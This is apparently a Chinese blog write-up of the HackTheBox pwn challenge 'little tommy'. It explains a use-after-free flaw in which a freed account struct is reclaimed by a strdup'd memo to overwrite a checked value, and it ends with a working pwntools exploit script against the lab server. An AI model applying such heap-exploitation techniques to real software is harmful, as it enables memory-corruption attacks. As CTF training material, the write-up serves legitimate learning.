UAF之hackthebox_pwn_little tommy

题目网址:hackthebox
qq讨论群:946220807

前言:这道题考察了堆利用的UAF漏洞,这也应该是我第一次独立自主的完成一个堆题。

UAF

这里不细说了,详情:传送门。简单来说,UAF漏洞本质是free(point)后,point指针还可使用,还指向原来的值。

分析

该程序实现4个功能

  1. 创建用户
  2. 显示用户
  3. 删除用户
  4. 添加备忘录
  5. 打印flag。

UAF之hackthebox_pwn_little tommy_第1张图片
先看看创建用户:
调用了malloc函数,但是大小不是我们控制的,默认72个字节,并且严格控制了大小,导致我们不能覆盖下一个chunk,
UAF之hackthebox_pwn_little tommy_第2张图片
看看删除用户:
发现直接调用free函数进行释放,并没有置空,这里存在UAF漏洞。
UAF之hackthebox_pwn_little tommy_第3张图片
添加备忘录,调用了strdup函数,这个函数是将参数里的值复制到一个malloc分配的新内存里,并返回一个指向该内存的指针。并且没有控制大小。
UAF之hackthebox_pwn_little tommy_第4张图片
打印flag。直接明了。只要main+16==0x6b637566即可得到flag。
UAF之hackthebox_pwn_little tommy_第5张图片

漏洞利用

第一次创建用户时,first_name:AAAA,last_name:BBBB。
在这里插入图片描述
然后我们使用删除用户功能free掉main_acconut。然后添加备忘录。值为CCCC。

我们发现,备忘录覆盖了main_account(因为strdup调用了malloc函数,又因为main_account已经被free掉了,所以标记为未使用,调用malloc就会覆盖main_account).

此时main_account地址是0x804b008,main_account+16=0x804b048。只要0x804b048=0x6B637566,即可获得flag。

UAF之hackthebox_pwn_little tommy_第6张图片算出偏移为0x804b048-0x804b008 = 0x40 = 64。
则payload = “A”*64 + 0x6B637566

exp

多运行几次,才能得到flag。不知道为啥,可能我代码写的不够好。希望大佬多指教指教。

from pwn import *

p = remote('docker.hackthebox.eu',45982)

def create_account():
	p.sendline("1\n")
	print(p.recv(1024))

def del_account():
	p.sendline('3')
	print p.recv(1024)
	
def add_demo(memo):
	p.sendline('4')
	print(p.recv())
	p.sendline(memo)
	print(p.recv(1024))
def get_flag():
	p.sendline("5")
	print(p.recv(1024))	
	print(p.recv(1024))
p.recv(1024)
p.sendline("1")
p.recv(1024)
create_account()
del_account()
payload = ''
payload += 'a'*64
payload += p32(0x6B637566)

add_demo(payload)
get_flag()

flag就打马赛克了,希望大家多动手实践。实践出真知加油!
UAF之hackthebox_pwn_little tommy_第7张图片

你可能感兴趣的:(pwn)